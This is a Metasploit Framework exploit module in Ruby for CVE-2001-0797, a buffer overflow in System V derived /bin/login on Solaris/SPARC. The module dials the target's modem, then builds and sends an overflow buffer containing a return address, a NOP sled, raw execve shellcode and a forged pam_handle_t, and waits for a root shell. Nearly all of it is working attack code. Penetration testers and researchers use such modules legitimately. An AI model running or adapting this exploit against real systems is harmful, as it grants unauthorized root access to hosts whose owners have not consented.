## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Dialup def initialize(info = {}) super(update_info(info, 'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow', 'Description' => %q{ This exploit connects to a system's modem over dialup and exploits a buffer overlflow vulnerability in it's System V derived /bin/login. The vulnerability is triggered by providing a large number of arguments. }, 'References' => [ [ 'CVE', '2001-0797'], [ 'OSVDB', '690'], [ 'OSVDB', '691'], [ 'BID', '3681'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'], ], 'Version' => '$Revision: 6479 $', 'Author' => [ 'I)ruid', ], 'Arch' => ARCH_TTY, 'Platform' => ['unix'], 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 3000, 'BadChars' => '', 'DisableNops' => true, }, 'Targets' => [ ['Solaris 2.6 - 8 (SPARC)', { 'Platform' => 'unix', 'Ret' => 0x00027184, # Solaris/SPARC special shellcode (courtesy of inode) # execve() + exit() 'Shellcode' => "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" + "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" + "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" + "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08", 'NOP' => "\x90\x1b\x80\x0e", } ], ], 'DefaultTarget' => 0 )) register_options( [ # OptString.new('USER', [true, 'User to log in as', 'bin']), ], self.class ) deregister_options( ) end def buildbuf print_status("Targeting: #{self.target.name}") retaddr = self.target.ret shellcode = self.target['Shellcode'] nop = self.target['NOP'] user = datastore['USER'] command = datastore['COMMAND'] + "\n" # prepare the evil buffer i = 0 buf = '' # login name buf[i,4] = 'bin ' i += 4 # return address buf[i,4] = [retaddr].pack('N') i += 4 buf[i,1] = ' ' i += 1 # trigger the overflow (0...60).each {|c| buf[i,2] = 'a ' i += 2 } # padding buf[i,4] = ' BBB' i += 4 # nop sled and shellcode (0...398).each {|c| buf[i,nop.size] = nop i += nop.size } shellcode.each_byte {|b| c = b.chr case 'c' when "\\" buf[i,2] = "\\\\" i += 2 when "\xff", "\n", " ", "\t" buf[i,1] = "\\" buf[i+1,1] = (((b & 0300) >> 6) + '0').chr buf[i+2,1] = (((b & 0070) >> 3) + '0').chr buf[i+3,1] = ( (b & 0007) + '0').chr i += 4 else buf[i,1] = c i += 1 end } # TODO: need to overwrite/skip the last byte of shellcode? #i -= 1 # padding buf[i,4] = 'BBB ' i += 4 # pam_handle_t: minimal header buf[i,16] = 'CCCCCCCCCCCCCCCC' i += 16 buf[i,4] = [retaddr].pack('N') i += 4 buf[i,4] = [0x01].pack('N') i += 4 # pam_handle_t: NULL padding (0...52).each {|c| buf[i,4] = [0].pack('N') i += 4 } # pam_handle_t: pameptr must be the 65th ptr buf[i,9] = "\x00\x00\x00 AAAA\n" i += 9 return buf end def exploit buf = buildbuf print_status("Dialing Target") if not connect_dialup print_error("Exiting.") return end print_status("Waiting for login prompt") res = dialup_expect(/ogin:\s/i, 10) #puts Rex::Text.to_hex_dump(res[:buffer]) if not res[:match] print_error("Login prompt not found... Exiting.") disconnect_dialup return end # send the evil buffer, 256 chars at a time print_status("Sending evil buffer...") #puts Rex::Text.to_hex_dump(buf) len = buf.length p = 0 while(len > 0) do i = len > 0x100 ? 0x100 : len #puts Rex::Text.to_hex_dump(buf[p,i]) dialup_puts(buf[p,i]) len -= i p += i # if len > 0 # puts Rex::Text.to_hex_dump("\x04") # dialup_puts("\x04") if len > 0 # end sleep 0.5 end # wait for password prompt print_status("Waiting for password prompt") res = dialup_expect(/assword:/i, 30) #puts Rex::Text.to_hex_dump(res[:buffer]) if not res[:match] print_error("Target is likely not vulnerable... Exiting.") disconnect_dialup return end print_status("Password prompt received, waiting for shell") dialup_puts("pass\n") res = dialup_expect(/#\s/i, 20) #puts Rex::Text.to_hex_dump(res[:buffer]) if not res[:match] print_error("Shell not found.") print_error("Target is likely not vulnerable... Exiting.") disconnect_dialup return end print_status("Success!!!") handler disconnect_dialup end end